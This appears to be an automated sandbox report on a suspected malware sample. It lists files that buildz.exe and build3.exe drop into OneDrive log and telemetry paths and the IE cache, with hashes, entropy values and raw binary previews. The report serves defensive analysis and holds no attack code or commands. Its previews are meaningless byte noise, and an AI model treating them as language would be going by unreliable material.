Preview:	1.0./]~k^id.......\v..k.....7y...R...@eC B....'e.l.N(Ea..>..IVKk...r8..1..@82..o..ghN....D........Y..u<....,.=.z.~../.....W+,......"..w...9HOS..q...R..K(~.uVV......P....I.\........T.....o.-..x...DXJT.......A...g. <..N4P!^....C..5y...>..ITj....'v.....`......E8t..g..&..-.A...Zk.q.."\.n2...^z..O..6...'.. .e./...w.b...2.;.$...m7`A..'.=......b......\|....?5...O........{..a>..d....e..+.3.!....DC\Isy1!..b....\|..i...T...=.$..}Kj++D.........BC..5aex.5&}.\."..f.{..#.-.=9..e..$..8...{Fjf...=Q.T^...};.g)._..`.....hc..H..c.N.m.q\.BeU..&..@...oxI#...I.T.R}...i..j.'..M........B..Bf...,1oo...iC],h...8OTUUwg..9.l.`.".Aa...~....eT...}.\|.......cNe....@{C,8..0.=...Z.L.d....]c/....[%...`...eK.Yy/....3hc.YV..<-..?..s.....E?Z.....D..l.,7^...Q..a.u...F..U..'w...]x0^Ir....q..g.......5.m...oyu..DLRC.i..II.U.......%..#....h.ST.4..;.~.H.v....?..W..%S=.+[s....V....Q...g...R..y^:.,B............Z....%........2..k<.r..a.3..N.@....q..h...^..8.n.@.....{....U..hp..a.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_114942_500-1efc.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.557603235661446
Encrypted:	false
SSDEEP:	768:6U3iL/fvX8Ttnn6GwW/j7uTbAM50PkNhp0ujODzsSCf0mbEThS6:6U3iL/fzGx/WPVuPkyujczsSCsmbE1
MD5:	CB2DED20DD15C8D19EE5B1C426205526
SHA1:	F60B83F8409B25FC1715A2BFAA16048263380021
SHA-256:	8767820DA48A87FC320AAEA40325CED108993DF90A7BAF949DBF5E6455DB5818
SHA-512:	A17F25FFF9494B847279122CD07FD6D8A091202312BDF50D1459BAFBBD3275F333B8D92ABAA82D467CA87293572AEF1D1358F7F9D4C696F9311D7B688FA3643C
Malicious:	false
Reputation:	unknown
Preview:	1.0./.#...JM.!.'....e..G..O6...@w....4b....C.<.....r.$.>'O...........K..o....ov=....$.F..R.....uFz....5...hk......v..ix?...~.{`UgiZ..L. .......'FX...zX...Q.<.....j...TX...QL..P#..,.g..X...b`.c.>.....\0.4..h..^~..{.;......ux._pg.c..n.Y1mI8..}jX.n.V..5.5..,..5.y...DSW8.E.k....Ya../.Zz.&.OR.......9,.:..'...G,.....b!.a..a.....K@A;y..<...<.....$...&+...@....A.b.~.&....0(..>....6w5..~..(.}I..st#Y..Z.).y..Q.[>.4.......+.]p...$....M5..=j:t...B7..Y.Fz.....%\|..a.q.[T.l._....4I.g.bD..K..97....CY!..D.....j.'.=w.k. .<B.Sj.146R.\..zg..+Z.v<..J.....s.3P....]`S...m..0.J.....sl.e..2b.p...).c........u.CH..vqu.l...otw....AZ..Mi....2eM,u.[.......@6(..3....EU.c..o.<....'E76.@..H..[d.(.=..I..7....M.[8.?.......1s.UTh..X.....b{g..........`a.&/-.K.}..6.j5.y......B.G...g0.?'.......n...M..R......~..z.biw..o...........r..j &h=.@.- b...~.%.[...#.~T.>...$.9J.0*.<..^[...ai.';m.;.S.%>.U7%.......8.-.8 .p..M...I....5D._...KvdXwG...f...p._u...vz...3.mYcP...6

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_115011_3184-4676.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.3147483678359293
Encrypted:	false
SSDEEP:	192:HPMp58o0zTXGttRKw45nmps23p39p+1Rt:vMrpGTWtqPna39et
MD5:	92E094BF90C52E30935F450832B7EAAB
SHA1:	AE0E01F12E177840FCAE9C83F7FF6D67308876D3
SHA-256:	978D405204728B66D38BB8ADD7DA16EDD07CD63CB56576D69D61DECF2C430D6B
SHA-512:	ED89E5A662EC457A3412C9A49322DBFB9911A3C61D763DDB0461589ED719ED8639501D7D8D3B569DA2018C26D24CE5C7DD4F3E9CA8238FB640DD5B1EECBE5EF7
Malicious:	false
Reputation:	unknown
Preview:	1.0./....[q.) .`v.....X....Hg<M..G..y.[.s......c#.6.L..7G{..}.4.Wr..N............_.f.q...0...R.....1I.(+Hc._.px......../n[...9...N@..Q...W..c[m....L.q.qb.I^.+-..Q.f.......j.N..WM.....H\|'.rt...X..{.pH.a..u..v\,..Y....V....].s.\|.fc.sI.....~....lS#e-..a.2]/_n..6....9\|.).]...o.U..\|.0&$..'%..v.x.m..l.:6.:.K.D......g...I.o.3. ......../7}T]6.....R..Q.d..O.9.^i.Fq..tu..}...U.?...&...A.+.iP.{...!.o.3..p....%".......Q..v.u.X&.....#........./R.e...A.... ..B.l.."k..R.p)W.SQ?...z.1..`.'.uDU.mf.!.M..j.....r.? ...bR..y..Y`.O......F.9".}.....]..+.....k.=Q.'.-.s;h+c.0..U.p.Vy...q.+...P.A^.,\..KH...fR1._....vN.....,9......X.U..f..n.......8..S..4.....W..A[.K.\|..]..qU......F..O.0..OG.z;..DL.\....I..EH.......t..c.VL4.-.^.....L..f.s.....>..7.........Dok.}.i.ct?FX..t..2.....?.^..}.H.N.....c.~}g.,.42..PP..}...g-./......<.....9.W....45.@6Z.R&r~.H..h.I..2........Z..=.#.#DC.i5..b...l.!'A......YPk....qli....(BX^m)RD./y..4C....1.vb.P2.CM.x..t{._..jk?....K..@.Q..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_115204_7008-7012.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.5742758325721818
Encrypted:	false
SSDEEP:	48:M8nrCg766qJTxAokUcj1Rwtiru8dndUbQuY8LA4+NlQDvGg4R/OHFyKXWE6z:/nrCgW6V/UwXwwa8dysH5lcZu/OyEy
MD5:	24A8839633093B3B660F4836C8F03CA0
SHA1:	A30DCF8704DAE73756ACF02609994140C8D714C7
SHA-256:	A59F2365A3BDB9AE24F709EBAC4745ADF8A7F15C0A556791E3039E522E83C57B
SHA-512:	63BF6BB367B95FD0DEF855E072CCF82DAEEE61171EF22D8AB1A90E213AB75DA6F42B787201C44D5EC7E46DD0B84B57FC6EED058BD7C378940E6BFBA0B3E81BC8
Malicious:	false
Reputation:	unknown
Preview:	1.0./....?.M.,.W..O..P.!39.;z8F.tz..@\|M.}.6.&'S...[...E...Vk_R1...z.n..xF.I....01.....35.. ..\|.....D..$(.'.V..YFI.....?e...w...c.%.!...\|s.EE.....%..hS..,....4....,.D.9........3,.fi.:.+...-l2.,X.P..^l..b...sl...G_...L..,(\|@r]......%V.%.M...c0.%l5.....J\|EmRoM........6...I.RE.#0:". .........b'..dC...g.Xz.n.9}yr....Bt......q.#k$]...~..b...Y.d.Sd.....<Uq....Q..q.f..&..).p.....f[aZ.ja}F....E(h........l.....=Q.N7..u...w.....\.}.xB.!$}.G.........y..?..>.g........N'..s...8.~..t..M.s.=y..z392d..f......ic.Jx......]V...6D..K;...\....?.N..J.l....L..f.v.j..........7{+y....Z..I.u..=p...Y..xM1..@..3...@...(&c.........,...h:.U.....P.0l...[~.\|D....6.ex....P..6....p..k.A-..Ra.\|.....29..u/.n.\...O8..]7W..C......V......,.....>)Jn...aU...............d....6..........2.t.k.p.O7,.$....R&...^........K....Q....jAk....-6O3._1..w.t.0X.<..q.....TC....'.........#V..X.....IRo...e...i...i*c....~...-.......$....E....A.a9.Kg..(.(.....:(i].8.2E...'.>..F..~.8.Zg.&.F

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_115740_6260-6264.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.5745274489604122
Encrypted:	false
SSDEEP:	96:0vUR+wikidETKi9CKbtmHSCzUNz1BCR4:HidETJ9CAtJCz+RBCR
MD5:	150E8F77FCF0AC43A142D8257992F965
SHA1:	FA0D380E4B9E6196EDF1B5DDFFA3A26C662F593B
SHA-256:	6DC80C4F80EA5537EE0084D15E2027A632DF1CA014D28E69E53603D98E7BA6F8
SHA-512:	0DEAA5221A3CC3A8C4DBE9BC60A74D3058BA0A9A62BBEE18D0A037B7AEB246D358DB35AFEC5EB212F07FDAA9697273B7433C39AC97E01BD70E9916FA609B2A52
Malicious:	false
Reputation:	unknown
Preview:	1.0./..+.....T...MqO@.b..y...{.....&\L..x......E.^].z....wA'....3..{.Q...}G..(i.R'...?H(._.E..L.v......T..>..u....?.mQ.N.ul@.!...4Ay..mW....6W.SJn....F...p..!....~.FH....)d..r.......$...J.}.f..m..4.m..S....M..N..T.v...9.._.Z..c.&Q....zM.FI.vP..."E.p..O}K......6...,mh..,4 ......F.i.e .......K.. ?....m..x..w....`..{c........Cl..E...[sU.j.........>)b_&.`\|"U]ln..n.-.?..:............./......t..Y...DG0..u..87l.X.w..'1....h.B.1..Q.9F.r.t....v^3....0...h.......<G.#.\|....J-..X.,u.n..q^.,)^.}.!.Bh..@......M.....O.bc:..8...N^Mm.eV2........MNSU.WW...@H..Y..{."......&...>W.-...`~ny .....C.'.Kk.....!.:.&........{....B...VdTQC.....n....9.1.^..t...w...p.;L".W..?.N.L(.f.].h.#A..#..I0.X.YL......R....l..B.@.j@...d.....\..g2.;........]..]..t`..CcL.!/D..>.-).`...e_.T\.[..h.Aw...7.is."..c..Y..e.S..C..'p..\|P..m..\|p^.......n.`.%."....7....Ub..rQ.2.^.....h.{.8..g..5.Z...z..UA.O.9...xq..).....A.4.R.fM4e.DY@..".>x.E..u.c..H..*.FI......03.P.BG~Y..g.e.6

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_121144_6972-6976.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.727906955196146
Encrypted:	false
SSDEEP:	384:hUCqIwJSoDISOkofjxGR6D9QfvE5S7kA+jR9RULK8:hUCqhJSoUSr8jD9c9Z+RQ9
MD5:	07707B90A970933D3710B15FD36AF534
SHA1:	ABFEF32AE70DD22DF2ADD77D38B6F0E64A96AC19
SHA-256:	F0831DF5EDD452E2DA09A84E124969B5BA1E6FEE6437AC1A38580B01450E5D01
SHA-512:	E0F788DCE254B4DA353A2BF3860A3D47655EF097D4B7FE401DDB3775C40B46C34637F49A6186DD4439DF2AC42796AB8C2F9F91F04EB4BFBC4421BFD34722229D
Malicious:	false
Reputation:	unknown
Preview:	1.0./.=.)..&.~a....+.v...R..Dl....[.P1....Y..TEW...!j%.!.@.+!.9B-b.,........m`..:.~....C.q.@.O.H[.v..H....d.j8.....S..nH..{ 2.y..QE.B....h.)...B9,.x....e.....]:X..S`^qd.).E2zSN.9...q..X..[h..%0-../.............)q{.Zd.-..DJ.J.(.l.'B...@t0Y...@..}.GH7.R..px..E8>.Jq^x....x).Q...\|.~[..Tu.s....w..ur......w.Q}...i..I&..<.%g.m.n%.(....".......h........{zO...84.C..B.e"&.Q..>.1..D...!<...u.Vx..j..g_..c..-.....a...=..'...Y....^..".'.\d$..A....\...`.r.-....Ahh..i@\G.e. ..g..$......}U7...#Q.K..sy......z&(.0.K.....A.wK..K..?h8.v..&(.Qk..C{\........%..T-....A.s..L.5.9....)1...v...'..T....).\|.dV..{.B.G...L1.67..Qp...a`......F.I......L.\J\|.a.Y'.6rb0.....E.t].&...8ch.........f.....q/.no.A.P\..\...\.ut..H.5.+4.........7aU~.n...>5.E..#%Ll..+.:..$....._..O~..F.rf..6.!...NU.*.......D..0+.3j%..Y^.......a[.U.wz..$[...F.f]....2.rc.q...w.].L..0,{...)..5..b..9..../Q....B....2..v.z....-...7l....u...~.rM..&.',.h/.....!...]..H.7...Y.X.\._..?;..-q..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_121212_7980-7984.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.601146444231179
Encrypted:	false
SSDEEP:	384:ZvnISqTJDZriWe5i1JB9wU7WO5uEjuOxl1PmDa9G:VnBwNe5GJziEjjl1y
MD5:	E9DDCCDDADDB8CBE41CDBB31452ED384
SHA1:	9A10F3F8596EC84442CFBB3043AB225482DFD280
SHA-256:	8C7DB5BED638FE0BE8295C80AC2881120145BFC76C1750C9B462418204D8E3AF
SHA-512:	A5B2F4BA802C441158EA4A59370E1DBBF84CFE6A37948B08CED4394FC0C8DECEC90AA05007D08EE5E9E263E4C7871879386A6780BA095BD20BAD9EF833817113
Malicious:	false
Reputation:	unknown
Preview:	1.0./..$DZ;..s..D.].O.e4..F.. ...l...61.[R.....Z.BQWHt+w..`...Y.G:..G ..klO.N..x.k.^..-..gH....o...jC...Fyv.7.i..'......%..............{..v..]..d..ir'./....o.#Q.\|F../1....i'b..&W..yg.S..)6H`.....w.x'.Q.sB..m......Kj.h}....2."...h.+J+umq...6...d..Q.f.].f6..{.T.x+p.l..}!r`.......)X.H....+..D(......a)q...%6.:O..{......].0.....':m.NK....7..y.+.......AJ......ko......9&.;...`...[."#.b.Y._.HS...Z..3.f...MG.c.,..x..R...?...7.O...D../u.O..+."O..Tns.z.....#6.....IRSjW_..B...d.rr..?Ne....O.7.v^...v2.-....1....SlL......N........^.O.V.S.4.\|.Zr....!Oa..".zh..~xN...>o.....j...e1...gl.2~..$...-...@..c...&.....3.zXE..\|..x.....$?.~@.yLS\[Z...k...}./......U.%.6\~......m'q.?x2ov..^..(..q...h....8.CR>.._....D.._.,..v......u....\|....J....Eu..p.'.f....$..o.C?\|.L ....'..v.t.~P.....k.a............^.\..Gb..4y.........l..R..ny[qXq.4..._...c}.8$.J.0S......._......z..1..a.{.../..x.T.y.......0.2[.uX.h..I;.;..Q....;n...M..t.&..)b&....Q... c...<...[..:

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-04_082907_5964-5996.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.3756809257121088
Encrypted:	false
SSDEEP:	384:i3iDy9WfuJax3ifSKk/C2TtkM/N+Bz7Kn1pwopEF:Hv2ax3ifm0PB/Kkua
MD5:	4D3F240682F9071832AA8103D4410111
SHA1:	BB8E18693FCDE89EA4332440F58A48EA1D3A822D
SHA-256:	0BBC7C1A9CD94E874410EC9CB33C80A44F869EB160E67182D660F358DB6202BB
SHA-512:	D64508F436048DA047D3B46E988DC4D1CDD3D37346E3E81F338999FEAA9D83B6C0C069248E8438B385A0E2C2B33E7621263BFA279E427A3F9CC57C7CB7D0048E
Malicious:	false
Reputation:	unknown
Preview:	1.0./.:.a.zB!.o....(^N?.n....b.J.F.S...3.e.rW....o...v.:.tg...B....u[j.+U....2B...^....n...=P.l....a.H....6xv?;....c...&..p....D~.....Ve..o....P..Z...:E%.......w.p.....'.<{.....t.CRK-@....MV........4..96.....>.......v...@O..N...l....}m...0....ec.b'.?2.WS.....?^..0..BN...D.%.L....WC.f..7...l.0\......u....C.@....\....n4...&.x.-W.....aC>n.x........]..P..i....XN...W.W.]nqy.L.\|.T.K......K.@.LV.=1...>#....0.../.9..z>.6..C.V...."y9`...6.....]......<p..`.,..+ ....zH.......`.H..92c...!....Hz.u...0._..F.3.x....'..LRnK....'....,.\..S.m.<.yw.wS...kr#...N.G....O`...z.1s.....4Hjt+..%..c:...v.#"yM....,.....q.\|...fC._....?...~O].r.SWG ...x&.s(....,Ve........:.....Z.d4rr+...Nv..G...B...8..E3d..{..\|..1.R_2....F..Jf.OZ&.X.t...^\1...+.A.....Z..p.. I.g)..........i..L....!oX...K..Ar.=...M.m.*.Wj..y.{.cM..iaV..T...`lFf.f.Ky....#C..Z...}...`.\|....M..i,.."......W.M.[.9..o.U.71.@?D..Y.36@.<UI...?O$9..33+.S..q....h]~F.h$`..K...._^.....@.7U...;....i.=.......^....+.?

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-04_083412_6972-6976.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.2007906222672908
Encrypted:	false
SSDEEP:	96:r67qWJAvOPS0RkiwpMf+YCrbkClnPjP9P5LnWepN3ji76Dhw/hCRiYe8N2xHtU:r62WyGuGMbk8P/LWCjnSYe5t
MD5:	C97D407E673E4386400E6DEF7037D277
SHA1:	9CD3E76F35A7548A83A5507BAADDFAF7045CC24D
SHA-256:	2999D5D19EAFE8E075EE068607992FBC1FF36E8501C2BF42C4187C21C8E907F2
SHA-512:	3B8EDD3E49166A255E52668803CB20467BDD7D9D362213FD81B0B4A3E4D2F170686015362FCA84CE37B893E46260AAD2F69AF523D8316D59DA10E23451042E65
Malicious:	false
Reputation:	unknown
Preview:	1.0./.....x..a p....&..nV.O...~T..e\|.i..)8I...).:3..4`E...r..P7.a.q....4{.z.K.\d.0..+.#).$i.y[.3.....-n@~...\..I.....S...Z.......@D...."d..}.).k+.......d^w....f."w...Ae.(..$.A.]. .>U'..."...b0.<.......K.3yb...s....9...HFL[Kc....%Wl..O.d..w>....K-......;....a...pY.~G.p..zz.0%...n...I.....UA.f....J..8u.S...;.._.SpF..Z............... ...DH.{..L.:.O..........8^Xld....!.C..........p..j.xM..e. ..t".C.#.~.d.%.i...P.Q...._O!.@.-.;&.1!Z6.0..l/.O.0.....oe.:...U3..'.....d..OQ...].`D....S?....bY3.bd.F...Z..I.......<A..8...ej..L...F\|;...D.V..4.YJS.+..@(c..~b..............L\....)f.M:......bA.{.]....,...z.6.g..........R....yz...%.7T..M....^.9C^.!...Ed.`..dG.@.-.wU#:.....i.......Q..p....RU....kV3.x0.x.....v9.....t.j..R.J...~9.g.Z.v......0f..^.$.O.(...Y1;Q..L.....}..K...kY.a..\|h5.o....4../..&.Ap.....fN.L ..._.G...<..*. .[.\.?.=_-\|..g...M...%DnR.{....../.<.smV.k.~.a.w.".dA...,.Qw..T...T...!T7...b...).qd...r..c..k..&.9....#..S.yj....O."8%..Z..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-04_083652_5268-4940.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.7638790952078394
Encrypted:	false
SSDEEP:	192:2SjGg6n0ZjyU+Ns0reCoMo7EGGIXhOL95Q5Z/hb31AvubxlC/:2Sig6yjyHNs0wMo7EPW27Q51hpgubL
MD5:	2401237AA03A97BF7C4F480AB49C938B
SHA1:	BBAD217E61337D61EFBC61BFD82645EBA1839D8F
SHA-256:	0A63E77CC91B576B95F44BE96694BDE157260FDC7F346D1B93FD249FC11196D7
SHA-512:	FBA1AE3331A314011B82D39D6BB8E689E5FCF304CDB8E195124A7EC2189DD56C0F7970ECDFE9E55EC5200A5A3A6AE1D3020802B315175770E11A79632650812C
Malicious:	false
Reputation:	unknown
Preview:	1.0./i...W<...8.5m.8E.::.7#.p.p..KA.g.Cm...P..]7D.........y...UN.n..:~;}c,...kZ-...?.Q.L.KIL....Y....P.3f%{.\|?o<..UB..E.....[....gW.(a.bf..l.N..0..h.".-.F.RX..)..~......%...S..T...V..$.>..-...cK...c.#,....D.....Lf.$L.V.J.../.1.nY.....s..j.b..6_.F9...n...w..7.h..DE.......>ljN.\|;.C..4o......u.Mx...+m\|OA.....{....q..3I.#..e.Xt.(..~y...K..8.\|^f...~.1....Z.......x2.....Do...8....?y..+pj...g(x{@..\|S(.r.:..r1.....r1.C.KP.7...+.b.ydL...5.......z.p0 7.W.G....7Gz...[R.A....1&....].I..8....F.@...5H...9 \.k...LR...3.t...m..'..E.O'..O....3}...u.`n..i...-.7s.lx.r.`A}.....oeX..{. ....\m..?.....3[$.'.).Z..B..o..@.F v.9."..$.0..........v..P..mkrS.=.g..r.JE........8...lK...y.8..d.;.DQuci....'.?..d..K.....B.S...5.zD..m..)dh,5..X.-..F+P!.."...GA..4j_x.........o...*.^=(.$...R.;Dv8Z.........7.......o..jn%.....b....#.......m....S......Q......G.L..:..R._@..h....E..N..".A...D.s$.T"S.....,....rZ..{f\|.b.....i....o...!...."..zlH...n.S...B!.....f+..N.&.i.n....

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\machineTelemetryCache.otc.session

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.4297610886428567
Encrypted:	false
SSDEEP:	384:VI0LD9YuaN5SZwTB34xDbK7Kx+d+YWEDut7IoCR/PzPY8jb4equL0L:VI0LD9FZCR4xDbK7b8tDCRTjjNqugL
MD5:	2D68A6306315C97A62F0088D8180CB8F
SHA1:	579632726BC52169139624A45B2E4B576EAB06B0
SHA-256:	51699A47F4E08B28043C63735E1AA6EBA4C724805207AB17D000DED143ED2616
SHA-512:	D81CF7874586FF37A476B7D966AAA6CAFE19056DE60AA8A1A139BAEAC119551A6A8E29BC8EF842CFC5A702D02086B5436E2F7A47209C363728E7C8CEB41B9726
Malicious:	false
Reputation:	unknown
Preview:	SQLity..3.....Eh..X..?...N.rqI...E_.z.;....b..L.9..'j......X.....J.T.S..i.w._.......nK...3....C.....f.o..`B..F....[.~...hg..I%..1E.;.2.M...m........?..\|g.L4..i..].....@.iWN?.\.uf..r$..Z.<.4....\0h.......nuj.:....E...}%x..J.&...u.+.k...........................1M.`.(..d<.:05...@.,=..uT.d.....0.F....7.m5.]]l.4/..{.;Y.v.S.h...b...Hy...6.C.v..oi..7.:..JR...R8.U.+.I......m6..'9.......,k.....miJr2e.z2K~.....l..6...SY"h..Y...u ...#a.P1B6&x.W!i.<.2Z.HcD..?.f...E.....Sd2...NF..d....6.CQ..-..j......Pf....tct.............\|.s_.j.3.>...kl.h>Gf.....RU......l..km........UZ..fv.%..J......n.0dMR....Y.iU.p...Z..p.U..Vm2.8e...g.F7.5..I...>..;..N...~Z...[o.BV...yz...?[.yIS.+.g.x-.8.G....16...s../N...$..b<...3P..-.&\|hCG[...g....T.z.l..a]Irf.p..S.......5.V..`>.h.C.........e....;.. [{.m...~.I.$C.YS. ..2n...(......aI...(....I$. ...^_..Z.Z....-. !T_..mz...S..!.[.)..7#..WO......8m...D.\.~..i..1.`X.c.B.t..y.84.mU....+0..f..#...k.../...T....zz....W.k.;..5..g...

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\parentTelemetryCache.otc.session

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.427429167246996
Encrypted:	false
SSDEEP:	384:P3lMY1VN28BLON4Vp5g2tUQoR3DdCJlkc7o5LcRZCdDf7wMvkOgegqI:9M6LON4LbtkT/8uYMs1e
MD5:	B8648EAFC6D303DF0A36A59F30467DAE
SHA1:	A31B74FCAACEB01706C8F3973B616AD97AF6145C
SHA-256:	0E6E945435E9BDBA1F66F96E6E19FE3639EA28CE3D857B5451E482D401FC62A9
SHA-512:	D709F60DD5C33211EDD395BC1AEEC32A3CFA01D8CDCBBF71C478E83094BEC354568B638B10881E2509A1FAE94677776278CDA03C2F8BCEA0D76D0522E419C5B2
Malicious:	false
Reputation:	unknown
Preview:	SQLitn...aZh.v..;.Q}.m-o!....y.}T........V.+.....xd>nhi..d...!.k].(...._A.-z\......z.vzV.#.ej..+r./.m^.Ui.........T;F....7...d..<.7.wb.s.......S.{XZ....j&f.....F......gMw...ie...@.....bI..-.~.U.y.K..z...v.1.D..r....I.J.G.cF.......,XEFd8.u.g..3....\....[....h.w%.......6.I..C"...~......c..O.5....+......)o.....d..2W.XO...UL.5A...q......R.........]..o7...lW..}.......&\|88U]W.@..SY.}.N......5..u#aR.=...9@&7@.[.l....;...D.a./..>d...@;.....3..<.5...m5E.,G1.9w..a\.;a..@.......v.68.4....A.d..>..G..2..N.p6R...-X.-......C...^oG.j.e.....].C......?g........5Rj.......6.Y...W..!.J.s.......]...'.Z.O>V..9.f\|.k..-..Y....Xj.UKz.-...m.f...zP....Y.}.....K...c...%..........@M.. .&...Se.........8.FA.X....j.....>nC..~...d.5...W....L.....U)...5?6X`v..L....u5..\|..N..V.9?b..p#..%.S..x.l.W...E.TX.f.&.....g...p..l3ypH.2..!.r...>).2......}.....b.mqx...@/..5q..;.=..w..j!V....N)7.I.K..}p.........Un.}.ed...:.P..\|J._<.k.,...MW....k...F.M....kO.mo*T9w.G.......E.....\I

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\userTelemetryCache.otc

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	3211264
Entropy (8bit):	0.6632303673394244
Encrypted:	false
SSDEEP:	3072:ObD51x6ffHyGL/fwzfrqLMD6nTLdlE2E+CNPx3x5wnlO72VPGslecNhu:ObD51x6ff/7wzTqLM+UUo5hyl/B9Y
MD5:	4D63F4F28EAE1F47D8057D85D8C0AB28
SHA1:	6D14B6D948AB60C8FCA8988751D0322E27F90864
SHA-256:	529CEEC88C2430117C3260444F4A734DF6E15D3CF448A7DE40EC908B1FBF7DB6
SHA-512:	61DC901E975CD9653BD70518D8A56337B34FE507C635F7CFE246CB46AFB68269B19C4199CC7C3F0217E822F77925EBDD48014003C82F4010CBCC3C3A7BBB9A9D
Malicious:	false
Reputation:	unknown
Preview:	1G.f..t.v.......m.....x.\.....Q...i.* E....n8...7.......;.."..y....X.G..w.AW...:DIO.....u..(.......7..D4A..s..X..e.:h#.<A..4.R.x.t...N..4.[.+n.td.e?....#E..)......p..2!.d..U..&..:....W..q....07\.P..^..?...+..w..E'G.......r..p.."..3.".Kp....Z..=......0.lE.NL..>.>.;..'..f....(H...g.vN.\|......K.0.......\|....g.l.~.y...r...[.G.M..U..8..X1..'..^...4..\pO.p...Y....Y..^...u.."...X...i...G,5....wy:..${...\|h>gW.A..(q.g.U5.f'....}.~.Osk.m.u........x....tT..1q.&.4...@..f...-...c.cu.0GL.>H...rIj.z...\|Z...O.........\..q.;..u;=..M...Izf7.Y....<....& P.\|.N..L.sg.6.?y?.:...D....x Q.+.c}I.A..7R....../\|.[...'B.........:..T.L3.q..X..^.ly...61.UXp.V..>.....G..\mPKp.^......U..))^..d....V....a.......d.0d#.w.Mr..NT.....GXk....[e&...D=R.j.E.\|..^f.N-.W}....3T...}.q.Vi..:..#1.H...g/'...J.,.S..-...ikJ.!o.h.*..+.=pV.(d.....9g..Q.^Jf.5.M...5.!...;....s.F..MT5....G.,.l....v........q+m....%..&]...Nov..m....3.w.R._.,3T..n.p............Z1..X.EQm\|e.OE..&.Vdg..&+f#e

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\userTelemetryCache.otc.session

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.429581884237516
Encrypted:	false
SSDEEP:	384:8lQxiKNuoAhMfpflAUmF53V8GCt0tONO72L+mmpOu+o6e+l5:uQEPhMxfGUwCykNOyLGpVv6r
MD5:	D66A5685ADA540E0BA5D950E4050E756
SHA1:	8BC121318C03D458C93675B7A2A8DB530F897449
SHA-256:	507D4F3E7C4B6DBDC9C30812CE2AC8A1F2910A19CFFF61DF79C72603ED08E6D0
SHA-512:	53DACB9010C1F07DD4F736F192510ED059CED4F396C74C8B9F74FD84A3894470E42B2ADE7B70F9996E7178797C9E8DD783CA94BFB0F2238BBE471042D2E4E536
Malicious:	false
Reputation:	unknown
Preview:	SQLit..j\...D/L.9.Q..!}.-.a}q..h...;.e9....a.6WR.z.....N...:.........5;zF.....]L..eW.4....(..).._%....>...>g\....$0fPxp9.F.....^w...UZ`.7...M.k.....#......~.^......-L..e.\|n..Hm....!....b.Q...u.....G.&..>....izT>.RhPY..s .z..+.(o{.~....T).AO..s.]j.`.....,.h.N.y.%.me..t1.._....O..R...!\.%.-.[..>...MT}...!....t.F..8...d.H...-1....{.3.W..%.B4.....w..Z....V..&f.Hg.V....O\..>w.(.I5.,..D.K#[F.di...@...0.R.l>..w.:E..J...nl...E(...S.J..v....\......i.wns.....'....\,.b..c...)..N..6^.4...p......{.">..O.m.`E.5.B.._..k.Z(..k..B..(..@V..&...B..: .J...:..0........C........t)e....Tti.....%\..9..f.....P..Q .<..3/4.... .n...mW.O...\.......!8c..L...gl...<.m...(..y....sf\..Pk....O.....@.3 u$.s6...giZS%.?...-........Z.]....Z...ed...O.U.........5_.&q...N.=.&1.V.\|...M2!oM+.V...lp.0Yh.@+....-D.)cp....Ja4...E.q...E....u.t..xz....L..>G....hF..tn; 1..P..[,.l...1..+......h...f..3W...~..+S'.....7..z.....mj{.&.....1.?..]....G.......e..#F%(..+L....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\e0cbefcb1af40c7d4aff4aca26621a98[1].exe

Download File

Process:	C:\Users\user\Desktop\a\build3.exe
File Type:	MS-DOS executable, MZ for MS-DOS
Category:	dropped
Size (bytes):	4338910
Entropy (8bit):	7.989769706673282
Encrypted:	false
SSDEEP:	98304:8y0kq9Je9lk1ARKjbS3C1HJVslJSsnJf7SwBskqU:8tkq9Je94jALJ+iskx
MD5:	5C3B6245E6888CCCFD3EAF36285E29E2
SHA1:	60885E5F4A6924CD2E428F6A1B9756B7C9D46D0D
SHA-256:	BAFA6D729095AB38CD4DA1346D9CAE3A746568BE03A20197008EEF4F5F4C4BBB
